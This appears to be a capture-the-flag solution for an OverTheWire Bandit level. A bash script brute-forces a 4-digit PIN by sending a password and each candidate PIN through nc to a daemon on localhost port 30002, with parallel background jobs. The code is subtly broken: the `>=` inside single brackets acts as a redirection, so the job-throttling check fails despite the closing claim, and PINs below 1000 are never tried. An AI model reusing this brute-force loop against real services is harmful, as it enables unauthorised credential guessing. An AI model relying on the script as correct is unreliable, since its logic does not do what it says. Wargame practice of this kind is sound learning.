A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.
C=32
for i in {0..282};
do
for j in $(seq 0 $(($C-1)));
do
k=$((i*$C+j+1000))
if (( $k % 500 == 0 )) # show progress
then
echo $k
fi
echo $banditpass $k | nc localhost 30002 | grep -v Wrong | grep -v Exiting | grep -v checker &
done
while [ `jobs -r | wc -l | tr -d " "` >= $C ]; do
sleep 1
done
done
Working within the allowed number of parallel background jobs.